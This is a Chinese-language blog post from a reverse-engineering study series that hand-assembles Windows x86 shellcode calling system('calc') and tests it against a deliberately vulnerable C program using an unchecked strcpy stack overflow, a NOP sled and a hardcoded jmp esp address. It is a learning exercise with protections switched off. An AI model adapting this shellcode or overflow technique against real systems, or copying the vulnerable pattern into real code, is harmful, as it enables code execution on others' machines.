逆向工程学习第三天--另外一个ShellCode


Sep 11 2016

逆向工程学习第三天--另外一个ShellCode

首页 » 渗透测试 » 逆向工程学习第三天--另外一个ShellCode   

 上周自己打造的添加用户的shellcode太长,不过当时主要目的是为了锻炼手动asm,熟悉一些复杂的参数类型如何手动进行构造,然后通过堆栈传递。

接下来就打造一个弹计算器的shellcode来进行接下来的学习和测试。

弹计算器的C代码只有一句:

C代码:

system(“calc”);

 

004030B4    8BEC            mov     ebp, esp  //把栈底抬高,准备放参数

  004030B6    33FF            xor     edi, edi  //把edi清零,准备0,这样可以防止代码中出现00,避免字符类的复制中shellcode会被截断。

  004030B8    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030B9    57              push    edi  //开辟0填充的栈空间,用来存放字符。

  004030BA    C645 FB 63      mov     byte ptr [ebp-5], 63  //字符“c”入栈。

  004030BE    C645 FC 61      mov     byte ptr [ebp-4], 61  //字符“a”入栈。

  004030C2    C645 FD 6C      mov     byte ptr [ebp-3], 6C  //字符“l”入栈。

  004030C6    C645 FE 63      mov     byte ptr [ebp-2], 63  //字符“c”入栈。

  004030CA    8D45 FB         lea     eax, dword ptr [ebp-5]  //取得字符串地址放入eax。

  004030CD    50              push    eax  //参数“calc”入栈

  004030CE    B8 C793BF77     mov     eax, msvcrt.system  //取得system函数地址msvcrt.dll是系统默认加载,所以不用loadlibrary。

  004030D3    FFD0            call    eax  //调用system函数启动计算器。

 

 

机器码:

0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0

测试:

  漏洞程序:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char ShellCode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0};
void overflow();
int main()
{
  overflow();
  printf("fuction returned");
  return 0;
}
void overflow()
{
  char output[8];
  strcpy(output, ShellCode);
  printf("output is %s",output);
}


漏洞程序是一个典型的栈BOF漏洞,在关闭其他BOF保护措施的情况下,我们采用经典的覆盖返回地址来测试,攻击字符串布局:

0x90填充Jmp esp地址(0x7FFA4512)  Shellcode

1.运行时堆栈:

 3.png

2.成功弹出计算器:

4.png

 

http://www.cnblogs.com/rebeyond/p/4843620.html

 

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: 逆向学习

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «IPS Community Suite PHP远程代码执行漏洞分析(CVE-2016-6174) | 逆向工程学习第二天--动手开发自己的第一个shellcode»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~